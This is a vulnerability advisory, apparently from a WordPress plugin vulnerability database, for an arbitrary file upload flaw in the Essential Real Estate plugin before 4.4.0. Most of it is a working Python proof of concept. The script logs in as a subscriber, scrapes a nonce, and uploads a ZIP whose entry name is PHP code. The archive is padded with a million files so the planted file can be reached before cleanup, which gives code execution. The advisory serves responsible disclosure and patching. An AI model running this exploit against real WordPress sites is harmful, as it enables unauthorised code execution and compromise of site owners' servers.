WordPress Plugin Vulnerabilities

Essential Real Estate < 4.4.0 - Subscriber+ Arbitrary File Upload

Description

The plugin does not prevent users with limited privileges on the site, like subscribers, from momentarily uploading malicious PHP files disguised as ZIP archives, which may lead to remote code execution.

Proof of Concept

from io import BytesIO
import requests
import zipfile
import sys
import re

if len(sys.argv) != 4:
        print('USAGE: python %s <target_url> <user_login> <user_pass>' % (sys.argv[0],))
        sys.exit()

url = sys.argv[1].rstrip('/')
with requests.Session() as s:
        '''
                This exploit requires an account on the site (subscriber+)
        '''
        print('Logging in..')
        # Log into WordPress using our Subscriber account
        res = s.post(
                url + '/wp-login.php',
                headers={ 'Cookie': 'wordpress_test_cookie=WP Cookie check' },
                data={'log':sys.argv[2], 'pwd':sys.argv[3], 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie':1})

        print('Leaking nonce..')
        # Leak nonce
        nonce = re.search(r'GSF_META_DATA.*"nonce":"([0-9a-f]+)"', s.get(url + '/wp-admin/profile.php?action=delete').text)
        if not nonce:
                print('Couldn\'t find nonce!')
                sys.exit()
        nonce = nonce.group(1)

        print('Creating malicious ZIP file..')
        # Create a zip file in memory
        zip_buffer = BytesIO()
        with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file:
                # Malicious file whose name will launch phpinfo() later
                zip_file.writestr('<?php phpinfo();die();__halt_compiler();?>', '')
                # Add an empty style.css file
                zip_file.writestr('style.css', '')
                # A lot of useless file to give the user time to access the uploaded shell
                for i in range(1000000):
                        zip_file.writestr(f'{i}.woff', 'A')
        # Seek back to the beginning of the buffer
        zip_buffer.seek(0)

        print(f'Sending malicious font: Time to access {url}/wp-content/uploads/gsf-fonts/phpinfo.php in your browser!')
        # Send malicious request uploading our shell
        print(s.post(
                url + '/wp-admin/admin-ajax.php?action=gsf_upload_fonts',
                data={'_nonce': nonce, 'name': 'malicious_font2'},
                files={'file_font': ('phpinfo.php', zip_buffer, 'application/zip')}).text)

Affects Plugins

References

Miscellaneous

Original Researcher
Marc Montpas, Krzysztof Zając (CERT PL)
Submitter
Marc Montpas
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2023-12-18 (about 4 months ago)
Added
2023-12-18 (about 4 months ago)
Last Updated
2023-12-18 (about 4 months ago)

Other